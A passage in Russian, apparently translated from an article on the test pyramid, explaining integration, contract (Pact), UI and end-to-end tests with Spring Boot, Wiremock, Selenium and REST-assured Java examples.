Узкие интеграционные тесты живут на границе вашего сервиса. Концептуально они всегда запускают действие, которое приводит к интеграции с внешней частью (файловой системой, базой данных, отдельным сервисом). Тест интеграции БД выглядит следующим образом:

Рис. 6. Тест на интеграцию БД интегрирует ваш код с реальной базой данных

  1. Запуск базы данных.
  2. Подключение приложения к БД.
  3. Запуск функции в коде, которая записывает данные в БД.
  4. Проверка, что ожидаемые данные записаны в базу путём их чтения из БД.

Другой пример. Тест интеграции вашего сервиса с отдельной службой через REST API может выглядеть следующим образом:

Рис. 7. Этот вид интеграционного теста проверяет, что приложение способно правильно взаимодействовать с отдельными службами

  1. Запуск приложения.
  2. Запуск инстанса отдельной службы (или тестового дублёра с тем же интерфейсом).
  3. Запуск функции в коде, которая считывает данные из API внешней службы.
  4. Проверка, что приложение правильно разбирает ответ.

Как и модульные тесты, ваши интеграционные тесты можно делать вполне прозрачно (whitebox). Некоторые фреймворки позволяют одновременно запустить и ваше приложение, и имитации отдельных его частей для проверки правильного взаимодействия.

Напишите интеграционные тесты для всех фрагментов кода, где выполняется сериализация или десериализация данных. Это происходит чаще, чем вы думаете. Подумайте о следующем:

  • Вызовы REST API своих сервисов.
  • Чтение и запись в БД.
  • Вызовы API других приложений.
  • Чтение из очереди и запись туда.
  • Запись в файловую систему.

Написание интеграционных тестов вокруг этих границ гарантирует, что запись данных и чтение данных от этих внешних участников работает нормально.

При написании узких интеграционных тестов стремитесь локально запускать внешние зависимости: локальную базу данных MySQL, тест на локальной файловой системе ext4. Если интегрируетесь с отдельной службой, то или запустите экземпляр этой службы локально, или создайте и запустите поддельную версию, которая имитирует поведение реальной службы.

Если нет возможности локально запустить стороннюю службу, то лучше запустить выделенный тестовый инстанс и указать на него в интеграционным тесте. В автоматизированных тестах избегайте интеграции с реальной системой продакшна. Запуск тысяч тестовых запросов на систему продакшна — верный способ разозлить людей, потому что вы забиваете их логи (в лучшем случае) или просто ддосите их сервис (в худшем случае). Интеграция с сервисом по сети — типичное свойство широкого интеграционного теста. Обычно из-за неё тесты труднее писать и они медленнее работают.

Что касается пирамиды тестов, то интеграционные тесты находятся на более высоком уровне, чем модульные. Интеграция файловых систем и БД обычно гораздо медленнее, чем выполнение юнит-тестов с их имитациями. Их также труднее писать, чем маленькие изолированные модульные тесты. В конце концов, нужно думать о работе внешней части теста. Тем не менее, они имеют преимущество, потому что дают уверенность в правильной работе приложения со всеми внешними частями, с какими нужно. Юнит-тесты тут бесполезны.

Интеграция БД

PersonRepository — единственный класс репозитория во всей кодовой базе. Он опирается на Spring Data и не имеет фактической реализации. Он просто расширяет интерфейс CrudRepository и предоставляет единственный заголовок метода. Остальное — магия Spring.

public interface PersonRepository extends CrudRepository<Person, String> {
    Optional<Person> findByLastName(String lastName);
}

Через интерфейс CrudRepository Spring Boot предоставляет полностью функциональное хранилище CRUD с методами findOne, findAll, save, update и delete. Наше собственное определение метода findByLastName () расширяет эту базовую функциональность и даёт возможность получать людей, то есть объекты Person, по их фамилиям. Spring Data анализирует возвращаемый тип метода, имя метода и проверяет его на соответствие конвенциям именования для выяснения, что он должен делать.

Хотя Spring Data выполняет большую работу по реализации репозиториев БД, я всё равно написал тест интеграции БД. Вы можете сказать, что это тест фреймворка, которого следует избегать, ведь мы тестируем чужой код. Тем не менее, я считаю, что здесь очень важно наличие хотя бы одного интеграционного теста. Во-первых, он проверяет нормальную работу нашего метода findByLastName. Во-вторых, это доказывает, что наш репозиторий правильно использует Spring и способен подключиться к БД.

Чтобы облегчить выполнение тестов на вашем компьютере (без установки базы данных PostgreSQL), наш тест подключается к базе данных в памяти H2.

Я определил H2 как тестовую зависимость в файле build.gradle. Файл application.properties в каталоге теста не определяет никаких свойств spring.datasource. Это указывает Spring Data использовать базу данных в памяти. Поскольку он находит H2 в пути к классу, то просто использует H2.

Реальное приложение с профилем int (например, после установки в качестве переменной среды SPRING_PROFILES_ACTIVE=int) будет подключаться к базе данных PostgreSQL, как определено в application-int.properties.

Понимаю, что здесь нужно знать и понимать кучу особенностей Spring. Придётся перелопатить кучу документации. Финальный код простой с виду, но его трудно понять, если вы не знаете конкретных особенностей Spring.

Кроме того, работа с базой данных в памяти — рискованное дело. В конце концов, наши интеграционные тесты работают с БД другого типа, чем в продакшне. Попробуйте и решите сами, предпочесть ли магию Spring и простой код — или явную, но более подробную реализацию.

Ну, хватит объяснений. Вот простой интеграционный тест, который сохраняет объект Person в базу данных и находит его по фамилии.

@RunWith(SpringRunner.class)
@DataJpaTest
public class PersonRepositoryIntegrationTest {
    @Autowired
    private PersonRepository subject;
    @After
    public void tearDown() throws Exception {
        subject.deleteAll();
    }
    @Test
    public void shouldSaveAndFetchPerson() throws Exception {
        Person peter = new Person("Peter", "Pan");
        subject.save(peter);
        Optional<Person> maybePeter = subject.findByLastName("Pan");
        assertThat(maybePeter, is(Optional.of(peter)));
    }
}

Как видите, наш интеграционный тест следует той же структуре «трёх А», что и юнит-тесты. Говорил же, что это универсальная концепция!

Интеграция с отдельными сервисами

Наш микросервис получает погодные данные с darksky.net через REST API. Конечно, мы хотим убедиться, что сервис правильно отправляет запросы и разбирает ответы.

При выполнении автоматических тестов желательно избежать взаимодействия с настоящими серверами darksky. Лимиты на нашем бесплатном тарифе — лишь одна из причин. Главное — это отвязка. Наши тесты должны запускаться независимо от того, какие справляются со своей работой милые люди в darksky.net. Даже если наша машина не может достучаться до серверов darksky или они закрылись на обслуживание.

Чтобы избежать взаимодействия с реальными серверами darksky, мы для интеграционных тестов запускаем собственный, поддельный сервер darksky. Это может показаться очень трудной задачей. Но она упрощается благодаря таким инструментам, как Wiremock. Смотрите сами:

@RunWith(SpringRunner.class)
@SpringBootTest
public class WeatherClientIntegrationTest {
    @Autowired
    private WeatherClient subject;
    @Rule
    public WireMockRule wireMockRule = new WireMockRule(8089);
    @Test
    public void shouldCallWeatherService() throws Exception {
        wireMockRule.stubFor(get(urlPathEqualTo("/some-test-api-key/53.5511,9.9937"))
                .willReturn(aResponse()
                        .withBody(FileLoader.read("classpath:weatherApiResponse.json"))
                        .withHeader(CONTENT_TYPE, MediaType.APPLICATION_JSON_VALUE)
                        .withStatus(200)));
        Optional<WeatherResponse> weatherResponse = subject.fetchWeather();
        Optional<WeatherResponse> expectedResponse = Optional.of(new WeatherResponse("Rain"));
        assertThat(weatherResponse, is(expectedResponse));
    }
}

Для Wiremock создаем инстанс WireMockRule на фиксированном порту (8089). С помощью DSL можно настроить сервер Wiremock, определить конечные точки для прослушивания и предустановленные ответы.

Далее вызываем тестируемый метод — тот, который обращается к сторонней службе — и проверяем, что результат правильно парсится.

Важно понимать, как тест определяет, что должен обратиться к поддельному сервер Wiremock вместо реального API darksky. Секрет в файле application.properties, который располагается в src/test/resources. Его Spring загружает при выполнении тестов. В этом файле мы переопределяем конфигурацию вроде ключей API и URL-адресов со значениями, подходящими для тестов. В том числе назначаем вызов поддельного сервера Wiremock вместо реального:

weather.url = http://localhost:8089

Обратите внимание, что определённый здесь порт должен быть тем же, что мы указали при создании инстанса WireMockRule для теста. Замена URL-адреса реального API на поддельный стала возможной благодаря введению URL-адреса в конструктор класса WeatherClient:

@Autowired
public WeatherClient(final RestTemplate restTemplate,
                     @Value("${weather.url}") final String weatherServiceUrl,
                     @Value("${weather.api_key}") final String weatherServiceApiKey) {
    this.restTemplate = restTemplate;
    this.weatherServiceUrl = weatherServiceUrl;
    this.weatherServiceApiKey = weatherServiceApiKey;
}

Так мы сообщаем нашему WeatherClient прочитать значение параметра weatherUrl свойства weather.url, которое мы определили в свойствах нашего приложения.

С инструментами вроде Wiremock написание узких интеграционных тестов для отдельного сервиса становится достаточно простой задачей. К сожалению, у такого подхода есть недостаток: как гарантировать, что созданный нами поддельный сервер ведёт себя как настоящий? При текущей реализации отдельный сервис может изменить свой API, и наши тесты всё равно пройдут как ни в чём ни бывало. Сейчас мы просто тестируем, что WeatherClient способен воспринимать ответы от поддельного сервера. Это начало, но оно очень хрупкое. Проблему решают сквозные тесты и тестирование на реальном сервисе, но так мы становимся зависимы от его доступности. К счастью, есть лучшее решение этой дилеммы — контрактные тесты с участием и имитации, и реального сервера гарантируют, что имитация в наших интеграционных тестах точно соответствует оригиналу. Посмотрим, как это работает.

Контрактные тесты

Более современные компании нашли способ масштабирования разработки путём распределения работ среди разных команд. Они создают отдельные, слабо связанные службы, не мешая друг на другу, и интегрируют их в большую, цельную систему. Именно с этим связана недавняя шумиха вокруг микросервисов.

Разделение системы на множество небольших сервисов часто означает, что эти сервисы должны взаимодействовать друг с другом через определённые (желательно чётко определенные, но иногда случайно созданные) интерфейсы.

Интерфейсы между разными приложения могут быть реализованы в разных форматах и технологиях. Самые распространённые:

  • REST и JSON через HTTPS;
  • RPC с использованием чего-то вроде gRPC;
  • построение событийно-ориентированной архитектуры с использованием очередей.

Каждый интерфейс задействует две стороны: поставщика и потребителя. Поставщик предоставляет данные потребителям. Потребитель обрабатывает данные, полученные от поставщика. В мире REST поставщик создаёт REST API со всеми необходимыми конечными точками, а потребитель обращается к этому REST API, чтобы получить данные или инициировать изменения в другой службе. В асинхронном мире событийно-ориентированной архитектуры поставщик (часто именуемый издателем) публикует данные в очередь; а потребитель (часто называемый подписчиком) подписывается на эти очереди, считывает и обрабатывает данные.

Рис. 8. Каждый интерфейс задействует поставщика (или издателя) и потребителя (или подписчика). Спецификацией интерфейса можно считать контракт.

Поскольку сервисы поставщика и потребителя распределяются по разным командам, то вы оказываетесь в ситуации, когда нужно чётко указать интерфейс между ними (так называемый контракт). Традиционно компании подходят к этой проблеме следующим образом:

  1. Написать длинную и подробную спецификацию интерфейса (контракт).
  2. Реализовать сервис поставщика согласно определённому контракту.
  3. Передать спецификации интерфейса стороне потребителя.
  4. Подождать, пока они реализуют свою часть интерфейса.
  5. Запустить крупномасштабный ручной системный тест, чтобы всё проверить.
  6. Надеяться, что обе команды будут всегда соблюдать определения интерфейса и не облажаются.

Более современные компании заменили шаги 5 и 6 на автоматизированные контрактные тесты, которые проверяют, что реализации на стороне потребителя и поставщика всё ещё придерживаются определённого контракта. Они выступают хорошим набором регрессионных тестов и гарантируют раннее обнаружение отклонения от контракта.

В более гибкой организации следует выбрать более эффективный и менее расточительный маршрут. Приложение создаётся в рамках одной организации. Не должно быть проблемой переговорить с разработчиками других сервисов вместо того, чтобы забрасывать им чрезмерно подробную готовую документацию. В конце концов, это ваши сотрудники, а не сторонний вендор, с которым можно общаться только через службу поддержки клиентов или пуленепробиваемые юридические контракты.

Ориентированные на пользователя контрактные тесты (CDC-тесты) позволяют потребителям управлять реализацией контракта. С помощью CDC потребители пишут тесты, которые проверяют интерфейс для всех данных, которые им нужны. Затем команда публикует эти тесты, чтобы разработчики службы поставщика могли легко получить и запустить эти тесты. Теперь они могут разработать свой API, запустив тесты CDC. После прогона всех тестов они знают, что удовлетворили все потребности команды на стороне потребителя.

Рис. 9. Контрактные тесты гарантируют, что поставщик и все потребители интерфейса придерживаются определённого контракта интерфейса. С помощью CDC-тестов потребители интерфейса публикуют свои требования в виде автоматизированных тестов; поставщики непрерывно получают и выполняют эти тесты

Такой подход позволяет команде поставщика интерфейса реализовать только то, что действительно необходимо (сохраняя простоту, YAGNI и всё такое). Команда поставщика должна непрерывно получать и выполнять эти CDC-тесты (в своём конвейере сборки), чтобы немедленно замечать любые критические изменения. Если они нарушают интерфейс, то их CDC-тесты не пройдут, предотвращая критические изменения. Пока тесты проходят, команда может вносить любые изменения, какие хочет, не беспокоясь о других командах. Ориентированный на потребителя контрактный подход сокращает процесс разработки до следующего:

  1. Команда потребителя пишет автоматизированные тесты со всеми ожиданиями со стороны потребителей.
  2. Они публикуют тесты для команды поставщика.
  3. Команда поставщика непрерывно запускает CDC-тесты и следит за ними.
  4. Команды немедленно вступают в переговоры, когда CDC-тесты ломаются.

Если ваша организация внедрит подход микросервисов, то проведение CDC-тестов — важный шаг к созданию автономных групп. CDC-тесты — это автоматизированный способ поощрить общение в коллективе. Они гарантируют, что интерфейсы между командами работают в любое время. Неудачный CDC-тест — хороший повод пойти к пострадавшей команде, поговорить о предстоящих изменениях API и выяснить, куда двигаться дальше.

Наивная реализация CDC-тестов настолько же проста, как запросы к API и оценка ответов на предмет наличия всего необходимого. Затем эти тесты упаковываются в исполняемый файл (.gem, .jar, .sh) и загружаются куда-нибудь для другой команды (например, репозиторий вроде Artifactory).

В последние годы подход CDC становится более популярным и создано несколько инструментов для упрощения написания и обмена тестами.

Pact, вероятно, самый известный среди них. Он предлагает утончённый подход к написанию тестов для потребителя и поставщика, предоставляет заглушки для отдельных служб и позволяет обмениваться CDC-тестами с другими командами. Pact портирован на множество платформ и может использоваться с языками JVM, Ruby, .NET, JavaScript и многими другими.

Pact — разумный выбор, чтобы начать работу с CDC. Документация сначала ошеломляет, но если набраться терпения, то её можно одолеть. Она помогает получить твёрдое понимание CDC, что в свою очередь облегчает вам задачу пропагандировать CDC для работы с другими командами.

Ориентированные на пользователя контрактные тесты могут кардинально упростить работу автономных команд, которые начнут действовать быстро и уверенно. Сделайте одолжение, ознакомьтесь и попробуйте эту концепцию. Качественный набор CDC-тестов неоценим, чтобы быстро продолжать разработку, не ломая прочие сервисы и не огорчая другие команды.

Тест потребителя (наша команда)

Наш микросервис использует погодный API. Так что наша обязанность — написать тест потребителя, который определяет наши ожидания по контракту (API) между нашим микросервисом и погодной службой.

Сначала включаем библиотеку для написания тестов потребителя в нашу build.gradle:

testCompile('au.com.dius:pact-jvm-consumer-junit_2.11:3.5.5')

Благодаря этой библиотеке мы можем реализовать тест потребителя и использовать сервисы имитации Pact:

@RunWith(SpringRunner.class)
@SpringBootTest
public class WeatherClientConsumerTest {
    @Autowired
    private WeatherClient weatherClient;
    @Rule
    public PactProviderRuleMk2 weatherProvider =
            new PactProviderRuleMk2("weather_provider", "localhost", 8089, this);
    @Pact(consumer="test_consumer")
    public RequestResponsePact createPact(PactDslWithProvider builder) throws IOException {
        return builder
                .given("weather forecast data")
                .uponReceiving("a request for a weather request for Hamburg")
                    .path("/some-test-api-key/53.5511,9.9937")
                    .method("GET")
                .willRespondWith()
                    .status(200)
                    .body(FileLoader.read("classpath:weatherApiResponse.json"),
                            ContentType.APPLICATION_JSON)
                .toPact();
    }
    @Test
    @PactVerification("weather_provider")
    public void shouldFetchWeatherInformation() throws Exception {
        Optional<WeatherResponse> weatherResponse = weatherClient.fetchWeather();
        assertThat(weatherResponse.isPresent(), is(true));
        assertThat(weatherResponse.get().getSummary(), is("Rain"));
    }
}

Если внимательно посмотреть, то WeatherClientConsumerTest очень похож на WeatherClientIntegrationTest. Только для серверной заглушки вместо Wiremock на этот раз мы используем Pact. На самом тест потребителя работает точно так же, как интеграционный: мы заменяем реальный сторонний сервер заглушкой, определяем ожидаемый ответ и проверяем, что клиент может правильно его разобрать. В этом смысле WeatherClientConsumerTest представляет собой узкий интеграционный тест. Преимущество по сравнению с тестом на основе Wiremock в том, что он при каждом запуске генерирует файл Pact (находится в target/pacts/&pact-name>.json). Он описывает наши ожидания по контракту в специальном формате JSON. Затем этот файл можно использовать для проверки, что сервер-заглушка ведёт себя как настоящий. Мы можем взять pact-файл и передать его команде, предоставляющей интерфейс. Они берут pact-файл и пишут тест провайдера, используя указанные там ожидания. Так они проверяют, соответствует ли их API всем нашим ожиданиям.

Как можно понять, именно отсюда взялась часть «ориентирование на потребителя» в определении CDC. Потребитель управляет реализацией интерфейса, описывая свои ожидания. Поставщик должен убедиться, что он выполняет все ожидания. Никаких лишних спецификаций, YAGNI и все дела.

Передача pact-файла в команду поставщика может пройти несколькими путями. Простой — зарегистрировать его в системе управления версиями и сказать команде поставщика всегда брать последнюю версию файла. Более продвинутый способ — использовать репозиторий артефактов вроде Amazon S3 или Pact Broker. Начинайте с простого и растите по мере необходимости.

В реальном приложении вам не нужны одновременно и интеграционный тест, и тест потребителя для клиентского класса. Наш пример кода содержит оба только для демонстрации, как использовать каждый из них. Если вы хотите написать CDC-тесты на Pact, я рекомендую оставаться с ним. В этом случае преимущество в том, что вы автоматически получаете pact-файл с ожиданиями от контракта, которые другие команды могут использовать, чтобы легко сделать свои тесты поставщика. Конечно, это имеет смысл только если вы сможете убедить другую команду использовать Pact. Если нет, то используйте интеграционный тест интеграции в сочетании с Wiremock как достойную альтернативу.

Тест поставщика (другая команда)

Тесты поставщика должны реализовать те, кто предоставляет погодный API. Мы используем публичный API от darksky.net. Теоретически, команда darksky со своей стороны должна выполнить тест поставщика и убедиться, что не нарушает контракт между своим приложением и нашим сервисом.

Очевидно, что их не волнует наше скромное тестовое приложение — и они не будут делать для нас CDC-тест. Есть большая разница между публичным API и организацией, использующей микросервисы. Общедоступный API не может учитывать нужды каждого отдельного потребителя, иначе не сможет нормально работать. Внутри своей организации вы можете и должны их учитывать. Скорее всего, ваше приложение будет обслуживать несколько, ну может пару десятков потребителей. Ничего не мешает написать тесты поставщика для этих интерфейсов, чтобы сохранить стабильную систему.

Команда поставщика получает pact-файл и запускает его на своём сервисе. Для этого она реализует тест, который считывает pact-файл, ставит несколько заглушек и проверяет на своём сервисе ожидания, определённые в pact-файле.

Сообщество проекта Pact написало несколько библиотек для реализации тестов поставщика. В их основном репозитории GitHub неплохой выбор библиотек для потребителей и провайдеров. Выберите ту, которая лучше всего соответствует вашему стеку технологий.

Для простоты предположим, что API darksky тоже реализован в Spring Boot. В этом случае они могут использовать библиотеку Pact Spring, которая хорошо подключается к механизмам MockMVC Spring. Гипотетический тест поставщика, который могла бы реализовать команда darksky.net, выглядит так:

@RunWith(RestPactRunner.class)
@Provider("weather_provider") // same as the "provider_name" in our clientConsumerTest
@PactFolder("target/pacts") // tells pact where to load the pact files from
public class WeatherProviderTest {
    @InjectMocks
    private ForecastController forecastController = new ForecastController();
    @Mock
    private ForecastService forecastService;
    @TestTarget
    public final MockMvcTarget target = new MockMvcTarget();
    @Before
    public void before() {
        initMocks(this);
        target.setControllers(forecastController);
    }
    @State("weather forecast data") // same as the "given()" in our clientConsumerTest
    public void weatherForecastData() {
        when(forecastService.fetchForecastFor(any(String.class), any(String.class)))
                .thenReturn(weatherForecast("Rain"));
    }
}

Как видите, от поставщика требуется лишь загрузить pact-файл (например, @PactFolder определяет, откуда загружать полученные pact-файлы), а затем определить, как обеспечить тестовые данные для предопределённых состояний (например, с помощью имитаций Mockito). Не нужно писать какой-то специальный тест. Всё берётся из pact-файла. Важно, чтобы тест поставщика соответствовал имени поставщика и состоянию, объявленным в тесте потребителя.

Тест поставщика (наша команда)

Мы посмотрели, как тестировать контракт между нашим сервисом и поставщиком погодной информации. В этом интерфейсе наш сервис выступает в качестве потребителя, а метеорологическая служба — в качестве поставщика. Подумав ещё, мы увидим, что наш сервис тоже выступает в роли поставщика для других: мы предоставляем REST API с несколькими конечными точками для других потребителей.

Поскольку мы знаем важность контрактных тестов, то конечно напишем тест и для этого контракта. К счастью, наши контракты ориентированы на потребителя, так что все команды-потребители присылают нам свои pact-файлы, которые мы можем использовать для реализации тестов поставщика для нашего REST API.

Сначала добавим в наш проект библиотеку поставщика Pact для Spring:

testCompile('au.com.dius:pact-jvm-provider-spring_2.12:3.5.5')

Реализация теста поставщика следует той же описанной схеме. Для простоты я зарегистрирую pact-файл от нашего простого потребителя в репозитории нашего сервиса. Для нашего случая так проще, а в реальной жизни, вероятно, придётся использовать более сложный механизм для распространения pact-файлов.

@RunWith(RestPactRunner.class)
@Provider("person_provider")// same as in the "provider_name" part in our pact file
@PactFolder("target/pacts") // tells pact where to load the pact files from
public class ExampleProviderTest {
    @Mock
    private PersonRepository personRepository;
    @Mock
    private WeatherClient weatherClient;
    private ExampleController exampleController;
    @TestTarget
    public final MockMvcTarget target = new MockMvcTarget();
    @Before
    public void before() {
        initMocks(this);
        exampleController = new ExampleController(personRepository, weatherClient);
        target.setControllers(exampleController);
    }
    @State("person data") // same as the "given()" part in our consumer test
    public void personData() {
        Person peterPan = new Person("Peter", "Pan");
        when(personRepository.findByLastName("Pan")).thenReturn(Optional.of
                (peterPan));
    }
}

Показанный ExampleProviderTest должен предоставить состояние в соответствии с полученным pact-файлом, вот и всё. Когда мы запустим тест, Pact подберёт pact-файл и отправит HTTP-запрос к нашему сервису, который ответит в соответствии с заданным состоянием.

Тесты UI

У большинства приложений есть какой-то пользовательский интерфейс. Обычно мы говорим о веб-интерфейсе в контексте веб-приложений. Люди часто забывают, что REST API или интерфейс командной строки — это такой же UI, как и причудливый веб-интерфейс.

Тесты UI проверяют правильность работы пользовательского интерфейса приложения. Действия пользователя должны инициировать правильные события, данные должны представляться пользователю, состояние UI должно изменяться ожидаемым образом.

Иногда говорят, что тесты UI и сквозные тесты — это одно и то же (как говорит Майк Кон). Для меня это отождествление двух вещей с весьма ортогональными концепциями.

Да, тестирование приложения от начала до конца часто означает прохождение через пользовательский интерфейс. Но обратное неверно.

Тестирование пользовательского интерфейса необязательно должно проводиться в сквозном режиме. В зависимости от используемой технологии, тестирование UI может оказаться таким же простым, как написание некоторых модульных тестов для фронтенда JavaScript с заглушенным бэкендом.

Для тестирования UI традиционных веб-приложений предназначены специальные инструменты вроде Selenium. Если вы считаете пользовательским интерфейсом REST API, то достаточно правильных интеграционных тестов вокруг API.

В веб-интерфейсах желательно проверить несколько аспектов UI, в том числе поведение, вёрстка, юзабилити, соблюдение фирменного стиля и др.

К счастью, тестирование поведения UI довольно простое. Щёлкаете здесь, вводите данные там — и проверяете, что состояние UI меняется соответствующим образом. Современные фреймворки для одностраничных приложений (react, vue.js, Angular и прочие) часто поставляются с инструментами и хелперами для тщательного тестирования этих взаимодействий на довольно низком уровне (в юнит-тесте). Даже если выкатить собственную реализацию фронтенда на ванильном JavaScript, всё равно можно использовать обычные инструменты тестирования, такие как Jasmine и Mocha. Для более традиционного приложения с рендерингом на стороне сервера наилучшим выбором станут тесты на основе Selenium.

Цельность вёрстки веб-приложения проверить немного сложнее. В зависимости от приложения и потребностей пользователей может возникнуть необходимость убедиться, что изменения кода случайно не нарушают вёрстку сайта.

Но компьютеры плохо справляются с проверкой, что всё «нормально выглядит» (возможно, в будущем какой-то умный алгоритм машинного обучения изменит это).

Есть некоторые инструменты, чтобы попробовать автоматическую проверку дизайна веб-приложения в конвейере сборки. Большинство из них используют Selenium для открытия веб-приложения в разных браузерах и форматах, произведения скриншотов и сравнения с ранее сделанными скриншотами. Если старый и новый скриншоты отличаются неожиданным образом, то инструмент подаст сигнал.

Один из таких инструментов — Galen. Некоторые команды используют lineup и его брата jlineup на основе Java для достижения аналогичного результата. Оба инструмента применяют тот же подход на основе Selenium.

Как только вы хотите проверить удобство использования и приятный дизайн — вы покидаете пространство автоматизированного тестирования. Здесь придётся полагаться на исследовательские тесты, тесты юзабилити (вплоть до простейших холл-тестов на случайных людях). Придётся проводить демонстрации пользователям и проверять, нравится ли им продукт и могут ли они использовать все функции без разочарования или раздражения.

Сквозные тесты

Тестирование развёрнутого приложения через UI — это самый полный тест, какой только можно провести. Описанные выше тесты UI через WebDriver — хорошие примеры сквозных тестов.

Рис. 11. Сквозные тесты проверяют полностью интегрированную систему целиком

Сквозные тесты (также называемые тестами широкого стека) дают максимальную уверенность, работает программное обеспечение или нет. Selenium и протокол WebDriver позволяют автоматизировать тесты, автоматически отправляя headless-браузер на развёрнутые сервисы для выполнения кликов, ввода данных и проверки состояния UI. Можно использовать Selenium напрямую или применить инструменты на его основе, такие как Nightwatch.

У сквозных тесты другие проблемы. Они известны своей ненадёжностью, сбоями по неожиданным и непредвиденным причинам. Довольно часто это ложноположительные сбои. Чем более сложный UI, тем более хрупкими становятся тесты. Причуды браузера, проблемы с синхронизацией, анимация и неожиданные всплывающие диалоги — лишь некоторые из причин, из-за которых я потратил больше времени на отладку, чем хотелось бы.

В мире микросервисов также непонятно, кто отвечает за написание этих тестов. Поскольку они охватывают несколько сервисов (всю систему), то нет одной конкретной команды, ответственной за написание сквозных тестов.

Если есть централизованная команда обеспечения качества, они выглядят хорошим кандидатом. Опять же, заводить централизованную команду QA строго не рекомендуется, такого не должно быть в мире DevOps, где все команды по-настоящему универсальны. Нет простого ответа, кто должен владеть сквозными тестами. Может, в вашей организации есть какая-то инициативная группа или гильдия качества, чтобы позаботиться о них. Здесь многое зависит от конкретной организации.

Кроме того, сквозные тесты требуют серьёзной поддержки и выполняются довольно медленно. Если у вас много микросервисов, то вы даже не сможете запускать сквозные тесты локально, потому что тогда понадобится и все микросервисы запускать локально. Попробуйте запустить сотни приложений на своём компьютере, тут никакой оперативки не хватит.

Из-за высоких расходов на обслуживание следует свести число сквозных тестов к абсолютному минимуму.

Подумайте о самых главных взаимодействиях пользователей с приложением. Придумайте главные «маршруты» пользователей от экрана к экрану, чтобы автоматизировать самые важные из этих шагов в сквозных тестах.

Если вы делаете интернет-магазин, то самым ценным «маршрутом» будет поиск продукта — помещение его в корзину — оформление заказа. Вот и всё. Пока этот маршрут работает, нет особых проблем. Возможно, вы найдёте еще пару важных маршрутов для сквозных тестов. Всё остальное, вероятно, принесёт больше проблем, чем пользы.

Помните: в вашей пирамиде тестов много низкоуровневых тестов, где мы уже протестировали все варианты пограничных ситуаций и интеграции с другими частями системы. Нет необходимости повторять эти тесты на более высоком уровне. Большие усилия по техническому обслуживанию и много ложных срабатываний слишком замедлит вашу работу, а рано или поздно лишит вас доверия к тестам вообще.

Сквозные тесты UI

Для сквозных тестов многие разработчики выбирают Selenium и протокол WebDriver. С Selenium можете выбрать любой браузер и натравить его на сайт. Пусть нажимает повсюду кнопки и ссылки, вводит данные и проверяет изменения в UI.

К Selenium нужен браузер, который можно запустить и использовать для тестов. Есть несколько так называемых «драйверов» к разным браузерам. Выберите один (или несколько) и добавьте его в свой build.gradle. Какой бы браузер вы ни выбрали, следует убедиться, что у всех разработчиков и на сервере CI установлена правильная версия браузера. Может оказаться трудно обспечить такую синхронизацию. Для Java есть небольшая библиотека webdrivermanager, которая автоматизирует загрузку и настройку правильной версии браузера. Добавьте две такие зависимости в build.gradle:

testCompile('org.seleniumhq.selenium:selenium-chrome-driver:2.53.1')
testCompile('io.github.bonigarcia:webdrivermanager:1.7.2')

Запуск полноценного браузера в тестовом наборе может стать проблемой. Особенно если сервер непрерывной доставки, где работает наш конвейер, не способен развернуть браузер с UI (например, потому что X-Server недоступен). В этом случае можно запустить виртуальный X-Server вроде xvfb.

Более новый подход заключается в использовании headless-браузера (т.е. браузера без пользовательского интерфейса) для тестов WebDriver. До недавнего времени чаще всего для автоматизации браузерных задач использовался PhantomJS. Но когда Chromium и Firefox внедрили headless-режим из коробки, PhantomJS внезапно устарел. В конце концов, лучше протестировать сайт с помощью реального браузера, который действительно есть у пользователей (например, Firefox и Chrome), а не с помощью искусственного браузера только потому что это удобно вам как разработчику.

Оба headless-браузера Firefox и Chrome совершенно новые и ещё не получили широкого распространения для тестов WebDriver. Мы не хотим ничего усложнять. Вместо возни со свеженькими headless-режимами давайте придерживаться классического способа, то есть Selenium в связке с обычным браузером. Вот как выглядит простой сквозной тест, который запускает Chrome, переходит к нашему сервису и проверяет содержимое сайта:

@RunWith(SpringRunner.class)
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
public class HelloE2ESeleniumTest {
    private WebDriver driver;
    @LocalServerPort
    private int port;
    @BeforeClass
    public static void setUpClass() throws Exception {
        ChromeDriverManager.getInstance().setup();
    }
    @Before
    public void setUp() throws Exception {
        driver = new ChromeDriver();
    }
    @After
    public void tearDown() {
        driver.close();
    }
    @Test
    public void helloPageHasTextHelloWorld() {
        driver.get(String.format("http://127.0.0.1:%s/hello", port));
        assertThat(driver.findElement(By.tagName("body")).getText(), containsString("Hello World!"));
    }
}

Обратите внимание, что этот тест будет работать, только если Chrome установлен на машине, где запускается тест (ваш локальный компьютер, сервер CI).

Тест простой. Он запускает приложение Spring на случайном порту с помощью @SpringBootTest. Затем создаётся новый «веб-драйвер» Chrome, он получает указание перейти к конечной точке /hello нашего микросервиса и проверить, что в окне браузера печатается «Hello World!». Классно!

Сквозной тест REST API

Для повышения надёжности тестов хорошая идея — избегать GUI. Такие тесты более стабильны, чем полноценные сквозные тесты, и в то же время покрывают значительную часть стека приложения. Это может пригодиться, если тестировать приложение через веб-интерфейс особенно сложно. Может, у вас даже нет веб-интерфейса, а только REST API (потому что одностраничное приложение где-то общается с этим API или просто потому что вы презираете всё красивое и блестящее). В любом случае ситуация подходит для подкожного теста (subcutaneous test), который тестирует всё, что находится под GUI. Если вы обслуживаете REST API, то такой тест будет правильным, как в нашем примере:

@RestController
public class ExampleController {
    private final PersonRepository personRepository;
    // shortened for clarity
    @GetMapping("/hello/{lastName}")
    public String hello(@PathVariable final String lastName) {
        Optional<Person> foundPerson = personRepository.findByLastName(lastName);
        return foundPerson
             .map(person -> String.format("Hello %s %s!",
                     person.getFirstName(),
                     person.getLastName()))
             .orElse(String.format("Who is this '%s' you're talking about?",
                     lastName));
    }
}

Позвольте показать ещё одну библиотеку, которая пригодится при тестировании сервиса, предоставляющего REST API. Библиотека REST-assured даёт хороший DSL для запуска реальных HTTP-запросов к API и оценки полученных ответов.

Прежде всего, добавьте зависимость в свой build.gradle.

testCompile('io.rest-assured:rest-assured:3.0.3')

С помощью этой библиотеки можно реализовать сквозной тест для нашего REST API:

@RunWith(SpringRunner.class)
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
public class HelloE2ERestTest {
    @Autowired
    private PersonRepository personRepository;
    @LocalServerPort
    private int port;
    @After
    public void tearDown() throws Exception {
        personRepository.deleteAll();
    }
    @Test
    public void shouldReturnGreeting() throws Exception {
        Person peter = new Person("Peter", "Pan");
        personRepository.save(peter);
        when()
                .get(String.format("http://localhost:%s/hello/Pan", port))
        .then()
                .statusCode(is(200))
                .body(containsString("Hello Peter Pan!"));
    }
}

